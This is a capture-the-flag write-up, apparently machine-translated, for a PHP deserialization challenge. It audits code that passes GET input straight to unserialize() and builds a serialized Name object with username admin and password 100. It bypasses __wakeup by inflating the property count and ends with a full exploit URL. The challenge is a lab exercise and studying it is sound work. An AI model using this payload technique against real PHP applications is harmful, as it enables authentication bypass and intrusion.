Knowledge Point
- php serialize and deserialize
serialized: the serialize function (), the type of complex data into a compressed string data type can be an array, a string, etc. Object
deserialize: function to unserialize (), character convert a string into a variable or object processes
commonly used magic method:
__construct (): when you create an object initialization, when an object is created is called
__wakeup () is triggered when using unserialize
__sleep () is triggered when using the serialize
__destruction (): the destruction of the end the object, when an object is destroyed is called
- Private
Private field declared as a private field, visible only in the class declaration, the instance of the object is not visible in the class and subclass of this class. Thus private field name of the field in the sequence, the class name and field names are prefixed front \ 0. Also includes a string length of the prefix length
the __wakeup () bypassed
when deserialization string, greater than the actual value of the attribute number of the number of attributes, execution will skip the __wakeup () function
Thinking and problem-solving process
1. Contents scanning
access connection there may be subject to information disclosure according to prompts speculation, we scan the directory backup files found: www.zip, find the backup file to the source code
2. The code audit
found php code in index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
This contains class.php file, select the values of the parameters passed by the GET method, then deserialize the value, guess this question and de-serialization-related vulnerabilities
and then review class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
If the password = 100, username = admin, when calling __destruct () can be obtained flag, so we need to construct a sequence of such password = 100, username = admin
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
$b = serialize($a);
echo $b;
?>
Resulting combined serialized
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
3. bypassing __wakeup ()
the __wakeup () method $ this-> username = 'guest' username will re-assignment. When deserializing string, an attribute value of the number greater than the actual number of attributes, will skip the __wakeup (performed) functions, we can string O: 4: "Name" behind 2 to 3 and the integer
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
Note that private class used to declare a field, private before the serialization class and field names should be added to the character ASCII code 0 (no visible characters), if we copied directly result, the blank character is lost, we need to add yourself
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
Select this string as the value of the parameter, GET past send flag may be obtained
http://题目链接/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}